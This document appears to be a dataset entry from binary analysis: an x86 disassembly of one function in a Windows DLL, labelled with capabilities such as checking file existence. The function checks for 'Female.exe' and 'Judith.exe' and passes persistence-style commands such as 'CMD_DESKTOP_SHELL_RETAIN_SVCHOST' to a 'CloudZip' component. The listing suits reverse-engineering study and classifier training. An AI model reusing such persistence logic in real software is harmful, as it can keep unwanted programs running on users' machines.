Function at 0x100133d0
Capabilities:
Check if file exists
Print debug messages

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1004b86f
mov eax, dword fs:[0]
push eax
sub esp, 0x35c
mov eax, dword [0x100691d4]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0x104
lea eax, [ebp - 0x114]
push 0
push eax
call fcn.1002f800
add esp, 0xc
lea eax, [ebp - 0x114]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x1005208c
lea eax, [ebp - 0x114]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
je 0x10013e46
xor eax, eax
mov dword [ebp - 0x11c], 0
mov dword [ebp - 0x118], 7
mov word [ebp - 0x12c], ax
mov dword [ebp - 4], eax
mov dword [ebp - 0x134], eax
mov dword [ebp - 0x130], 7
mov word [ebp - 0x144], ax
push 0x1388
sub esp, 0x18
mov byte [ebp - 4], 1
mov ecx, esp
mov dword [ebp - 0x364], esp
push str.SoftResCloudZip
call fcn.10003c00
mov esi, dword [0x1006b77c]
mov byte [ebp - 4], 2
test esi, esi
jne 0x10013523
push 0x1006b780
mov dword [ebp - 0x368], 0x1006b780
call fcn.100175b9
add esp, 4
test eax, eax
je 0x100134c8
push eax
call fcn.10017671
add esp, 4
mov esi, dword [0x1006b77c]
mov byte [ebp - 4], 3
test esi, esi
jne 0x10013501
push 0x18
call fcn.10018466
add esp, 4
mov dword [ebp - 0x35c], eax
mov byte [ebp - 4], 4
test eax, eax
je 0x100134f9
mov ecx, eax
call fcn.1000b650
mov esi, eax
jmp 0x100134fb
xor esi, esi
mov dword [0x1006b77c], esi
push 0x1006b780
mov byte [ebp - 4], 5
call fcn.100175de
add esp, 4
test eax, eax
je 0x1001351f
push eax
call fcn.10017671
add esp, 4
mov byte [ebp - 4], 2
push dword [0x1006bdf0]
mov ecx, esi
mov byte [ebp - 4], 1
call fcn.1000d030
mov eax, dword fs:[0x2c]
mov ecx, dword [0x1006c47c]
mov esi, dword [eax + ecx*4]
mov eax, dword [0x1006b8fc]
cmp eax, dword [esi + 4]
jg 0x10013e61
mov eax, dword [0x1006b9c4]
cmp eax, dword [esi + 4]
jg 0x10013ea9
mov eax, dword [0x1006bde0]
cmp eax, dword [esi + 4]
jg 0x10013ef1
push 0
push 0
push dword [0x1006bdf0]
mov ecx, 0x1006b860
call fcn.100082d0
lea eax, [ebp - 0x1d4]
mov ecx, 0x1006b900
push eax
call fcn.100101e0
sub esp, 0x18
mov byte [ebp - 4], 9
mov edi, esp
lea ecx, [ebp - 0x1d4]
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0
cmp dword [ebp - 0x1c0], 8
mov eax, dword [ebp - 0x1c4]
cmovae ecx, dword [ebp - 0x1d4]
mov dword [ebp - 0x358], eax
mov dword [ebp - 0x360], ecx
cmp eax, 8
jae 0x100135ec
movups xmm0, xmmword [ecx]
movups xmmword [edi], xmm0
mov dword [edi + 0x14], 7
jmp 0x1001362e
mov esi, eax
mov ecx, edi
mov eax, SysReAllocString
or esi, 7
cmp esi, eax
cmova esi, eax
lea eax, [esi + 1]
push eax
call fcn.100037d0
mov ecx, dword [ebp - 0x358]
mov dword [edi], eax
lea ecx, [ecx*2 + 2]
push ecx
push dword [ebp - 0x360]
push eax
call fcn.1002f280
mov eax, dword [ebp - 0x358]
add esp, 0xc
mov dword [edi + 0x14], esi
mov dword [edi + 0x10], eax
call fcn.10006c20
add esp, 0x18
test edx, edx
jl 0x10013655
jg 0x10013643
test eax, eax
je 0x10013655
push edx
push eax
call fcn.100117f0
add esp, 8
test eax, eax
jne 0x10013e25
sub esp, 0x18
mov esi, esp
push 0
call fcn.1003a3d4
push edx
push eax
push esi
call fcn.10006af0
add esp, 0x10
mov ecx, 0x1006b900
call fcn.100107c0
sub esp, 0x18
xor eax, eax
mov ecx, esp
push 0x10050f00
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 7
mov word [ecx], ax
call fcn.10007740
lea ecx, [ebp - 0x354]
call fcn.100108f0
sub esp, 0x18
mov byte [ebp - 4], 0xa
mov ecx, esp
xor eax, eax
push str.CloudZip
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 7
mov word [ecx], ax
call fcn.10007740
lea ecx, [ebp - 0x354]
call fcn.10010bf0
mov edi, dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
mov esi, eax
push str.overlay_r_n
call edi
test esi, esi
jne 0x100137a0
lea eax, [ebp - 0x1ec]
mov ecx, 0x1006b860
push eax
call fcn.10008270
mov esi, eax
lea eax, [ebp - 0x12c]
cmp eax, esi
je 0x10013739
mov ecx, eax
call fcn.10003730
movups xmm0, xmmword [esi]
xor eax, eax
movups xmmword [ebp - 0x12c], xmm0
movq xmm0, qword [esi + 0x10]
movq qword [ebp - 0x11c], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 7
mov word [esi], ax
lea ecx, [ebp - 0x1ec]
call fcn.10003730
push 0xa
push str.Female.exe
lea ecx, [ebp - 0x12c]
call fcn.10003840
cmp dword [ebp - 0x118], 8
lea eax, [ebp - 0x12c]
cmovae eax, dword [ebp - 0x12c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
push str._bInstalled_r_n
mov esi, eax
call edi
cmp dword [ebp - 0x118], 8
lea ecx, [ebp - 0x12c]
cmovae ecx, dword [ebp - 0x12c]
push ecx
call edi
push str._____________bInstalled_r_n
call edi
test esi, esi
je 0x10013a99
lea eax, [ebp - 0x204]
mov ecx, 0x1006b860
push eax
call fcn.10008270
mov esi, eax
lea eax, [ebp - 0x12c]
cmp eax, esi
je 0x100137ee
mov ecx, eax
call fcn.10003730
movups xmm0, xmmword [esi]
xor eax, eax
movups xmmword [ebp - 0x12c], xmm0
movq xmm0, qword [esi + 0x10]
movq qword [ebp - 0x11c], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 7
mov word [esi], ax
lea ecx, [ebp - 0x204]
call fcn.10003730
push 0xa
push str.Female.exe
lea ecx, [ebp - 0x12c]
call fcn.10003840
push str.MODULE_RESIDENT_PROCESS_EXE_r_n
call edi
cmp dword [ebp - 0x118], 8
lea eax, [ebp - 0x12c]
cmovae eax, dword [ebp - 0x12c]
push eax
call edi
push str.____________MODULE_RESIDENT_PROCESS_EXE_r_n
call edi
cmp dword [ebp - 0x118], 8
lea eax, [ebp - 0x12c]
cmovae eax, dword [ebp - 0x12c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x10013a99
lea eax, [ebp - 0x21c]
push str.CMD_REPORT_RETAIN_DESKTOP
push eax
call fcn.1000ca40
add esp, 8
lea ecx, [ebp - 0x144]
push eax
call fcn.10003790
lea ecx, [ebp - 0x21c]
call fcn.10003730
cmp dword [ebp - 0x130], 8
lea eax, [ebp - 0x144]
cmovae eax, dword [ebp - 0x144]
push eax
lea eax, [ebp - 0x234]
push eax
call fcn.10011470
add esp, 8
lea ecx, [ebp - 0x144]
push eax
call fcn.10003790
lea ecx, [ebp - 0x234]
call fcn.10003730
xor eax, eax
mov dword [ebp - 0x14c], 0
mov dword [ebp - 0x148], 7
mov word [ebp - 0x15c], ax
push 0x10051268
lea ecx, [ebp - 0x15c]
mov byte [ebp - 4], 0xb
call fcn.10007740
cmp dword [ebp - 0x118], 8
lea eax, [ebp - 0x12c]
push dword [ebp - 0x11c]
cmovae eax, dword [ebp - 0x12c]
lea ecx, [ebp - 0x15c]
push eax
call fcn.10003840
push 2
push 0x1005126c
lea ecx, [ebp - 0x15c]
call fcn.10003840
cmp dword [ebp - 0x130], 8
lea eax, [ebp - 0x144]
push dword [ebp - 0x134]
cmovae eax, dword [ebp - 0x144]
lea ecx, [ebp - 0x15c]
push eax
call fcn.10003840
cmp dword [ebp - 0x148], 8
lea eax, [ebp - 0x15c]
mov ecx, 0x1006b9c8
cmovae eax, dword [ebp - 0x15c]
push eax
call fcn.10011170
lea eax, [ebp - 0x24c]
push str.CMD_SOFT_DAEMON
push eax
call fcn.1000ca40
add esp, 8
lea ecx, [ebp - 0x144]
push eax
call fcn.10003790
lea ecx, [ebp - 0x24c]
call fcn.10003730
cmp dword [ebp - 0x130], 8
lea eax, [ebp - 0x144]
cmovae eax, dword [ebp - 0x144]
push eax
lea eax, [ebp - 0x264]
push eax
call fcn.10011470
add esp, 8
lea ecx, [ebp - 0x144]
push eax
call fcn.10003790
lea ecx, [ebp - 0x264]
call fcn.10003730
mov dword [ebp - 0x360], 0x1388
lea eax, [ebp - 0x144]
cmp dword [ebp - 0x130], 8
mov dword [ebp - 0x17c], 0
cmovae eax, dword [ebp - 0x144]
xor ecx, ecx
mov word [ebp - 0x18c], cx
lea ecx, [ebp - 0x18c]
push eax
mov dword [ebp - 0x178], 7
call fcn.10007740
cmp dword [ebp - 0x118], 8
lea eax, [ebp - 0x12c]
mov byte [ebp - 4], 0xc
cmovae eax, dword [ebp - 0x12c]
xor ecx, ecx
mov word [ebp - 0x174], cx
lea ecx, [ebp - 0x174]
push eax
mov dword [ebp - 0x164], 0
mov dword [ebp - 0x160], 7
call fcn.10007740
lea eax, [ebp - 0x360]
mov byte [ebp - 4], 0xd
push eax
lea eax, [ebp - 0x18c]
mov ecx, 0x1006b9c8
push eax
lea eax, [ebp - 0x174]
push eax
call fcn.10010f40
lea ecx, [ebp - 0x174]
call fcn.10003730
lea ecx, [ebp - 0x18c]
call fcn.10003730
lea ecx, [ebp - 0x15c]
jmp 0x10013e15
lea eax, [ebp - 0x27c]
mov ecx, 0x1006b900
push eax
call fcn.10010600
mov esi, eax
lea eax, [ebp - 0x12c]
cmp eax, esi
je 0x10013ae7
mov ecx, eax
call fcn.10003730
movups xmm0, xmmword [esi]
xor eax, eax
movups xmmword [ebp - 0x12c], xmm0
movq xmm0, qword [esi + 0x10]
movq qword [ebp - 0x11c], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 7
mov word [esi], ax
lea ecx, [ebp - 0x27c]
call fcn.10003730
cmp dword [ebp - 0x11c], 0
jbe 0x10013b20
cmp dword [ebp - 0x118], 8
lea eax, [ebp - 0x12c]
mov esi, dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
cmovae eax, dword [ebp - 0x12c]
push eax
call esi
test eax, eax
jne 0x10013bb5
lea eax, [ebp - 0x294]
mov ecx, 0x1006b860
push eax
call fcn.100082b0
mov esi, eax
lea eax, [ebp - 0x12c]
cmp eax, esi
je 0x10013b6e
mov ecx, eax
call fcn.10003730
movups xmm0, xmmword [esi]
xor eax, eax
movups xmmword [ebp - 0x12c], xmm0
movq xmm0, qword [esi + 0x10]
movq qword [ebp - 0x11c], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 7
mov word [esi], ax
lea ecx, [ebp - 0x294]
call fcn.10003730
push 7
push str.Zipdktp
lea ecx, [ebp - 0x12c]
call fcn.10003840
push 1
push 0x10050f04
lea ecx, [ebp - 0x12c]
call fcn.10003840
push 0xa
push str.Judith.exe
lea ecx, [ebp - 0x12c]
call fcn.10003840
mov esi, dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
cmp dword [ebp - 0x11c], 0
jbe 0x10013bdd
cmp dword [ebp - 0x118], 8
lea eax, [ebp - 0x12c]
cmovae eax, dword [ebp - 0x12c]
push eax
call esi
test eax, eax
jne 0x10013c84
lea eax, [ebp - 0x2ac]
mov ecx, 0x1006b860
push eax
call fcn.10008290
mov esi, eax
lea eax, [ebp - 0x12c]
cmp eax, esi
je 0x10013c2b
mov ecx, eax
call fcn.10003730
movups xmm0, xmmword [esi]
xor eax, eax
movups xmmword [ebp - 0x12c], xmm0
movq xmm0, qword [esi + 0x10]
movq qword [ebp - 0x11c], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 7
mov word [esi], ax
lea ecx, [ebp - 0x2ac]
call fcn.10003730
push 1
push 0x10050f04
lea ecx, [ebp - 0x12c]
call fcn.10003840
push 8
push str.zipstonh
lea ecx, [ebp - 0x12c]
call fcn.10003840
push 1
push 0x10050f04
lea ecx, [ebp - 0x12c]
call fcn.10003840
push 0xa
push str.Judith.exe
lea ecx, [ebp - 0x12c]
call fcn.10003840
mov esi, dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
cmp dword [ebp - 0x11c], 0
jbe 0x10013e1a
cmp dword [ebp - 0x118], 8
lea eax, [ebp - 0x12c]
cmovae eax, dword [ebp - 0x12c]
push eax
call esi
test eax, eax
je 0x10013e1a
lea eax, [ebp - 0x2c4]
push str.CMD_DESKTOP_SHELL_RETAIN_SVCHOST
push eax
call fcn.1000ca40
add esp, 8
lea ecx, [ebp - 0x144]
push eax
call fcn.10003790
lea ecx, [ebp - 0x2c4]
call fcn.10003730
cmp dword [ebp - 0x130], 8
lea eax, [ebp - 0x144]
cmovae eax, dword [ebp - 0x144]
push eax
lea eax, [ebp - 0x2dc]
push eax
call fcn.10011470
add esp, 8
lea ecx, [ebp - 0x144]
push eax
call fcn.10003790
lea ecx, [ebp - 0x2dc]
call fcn.10003730
push 0x1005234c
call edi
cmp dword [ebp - 0x130], 8
lea eax, [ebp - 0x144]
cmovae eax, dword [ebp - 0x144]
push eax
call edi
push 0x10050f5c
call edi
cmp dword [ebp - 0x118], 8
lea eax, [ebp - 0x12c]
cmovae eax, dword [ebp - 0x12c]
push eax
call edi
push 0x1005234c
call edi
cmp dword [ebp - 0x130], 8
lea eax, [ebp - 0x144]
mov dword [ebp - 0x358], 0x1388
cmovae eax, dword [ebp - 0x144]
xor ecx, ecx
mov word [ebp - 0x1bc], cx
lea ecx, [ebp - 0x1bc]
push eax
mov dword [ebp - 0x1ac], 0
mov dword [ebp - 0x1a8], 7
call fcn.10007740
cmp dword [ebp - 0x118], 8
lea eax, [ebp - 0x12c]
mov byte [ebp - 4], 0xe
cmovae eax, dword [ebp - 0x12c]
xor ecx, ecx
mov word [ebp - 0x1a4], cx
lea ecx, [ebp - 0x1a4]
push eax
mov dword [ebp - 0x194], 0
mov dword [ebp - 0x190], 7
call fcn.10007740
lea eax, [ebp - 0x358]
mov byte [ebp - 4], 0xf
push eax
lea eax, [ebp - 0x1bc]
mov ecx, 0x1006b9c8
push eax
lea eax, [ebp - 0x1a4]
push eax
call fcn.10010f40
lea ecx, [ebp - 0x1a4]
call fcn.10003730
lea ecx, [ebp - 0x1bc]
call fcn.10003730
lea ecx, [ebp - 0x354]
call fcn.10010a60
lea ecx, [ebp - 0x1d4]
call fcn.10003730
lea ecx, [ebp - 0x144]
call fcn.10003730
lea ecx, [ebp - 0x12c]
call fcn.10003730
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.100184a4
mov esp, ebp
pop ebp
ret
push 0x1006b8fc
call fcn.10018bbc
add esp, 4
cmp dword [0x1006b8fc], 0xffffffff
jne 0x10013554
mov ecx, 0x1006b860
mov byte [ebp - 4], 6
call fcn.10007f90
push 0x1004c840
call fcn.10018803
push 0x1006b8fc
mov byte [ebp - 4], 1
call fcn.10018b72
add esp, 8
jmp 0x10013554
push 0x1006b9c4
call fcn.10018bbc
add esp, 4
cmp dword [0x1006b9c4], 0xffffffff
jne 0x10013565
mov ecx, 0x1006b900
mov byte [ebp - 4], 7
call fcn.1000fea0
push 0x1004c850
call fcn.10018803
push 0x1006b9c4
mov byte [ebp - 4], 1
call fcn.10018b72
add esp, 8
jmp 0x10013565
push 0x1006bde0
call fcn.10018bbc
add esp, 4
cmp dword [0x1006bde0], 0xffffffff
jne 0x10013576
mov ecx, 0x1006b9c8
mov byte [ebp - 4], 8
call fcn.10010f30
push 0x1004c860
call fcn.10018803
push 0x1006bde0
mov byte [ebp - 4], 1
call fcn.10018b72
add esp, 8
jmp 0x10013576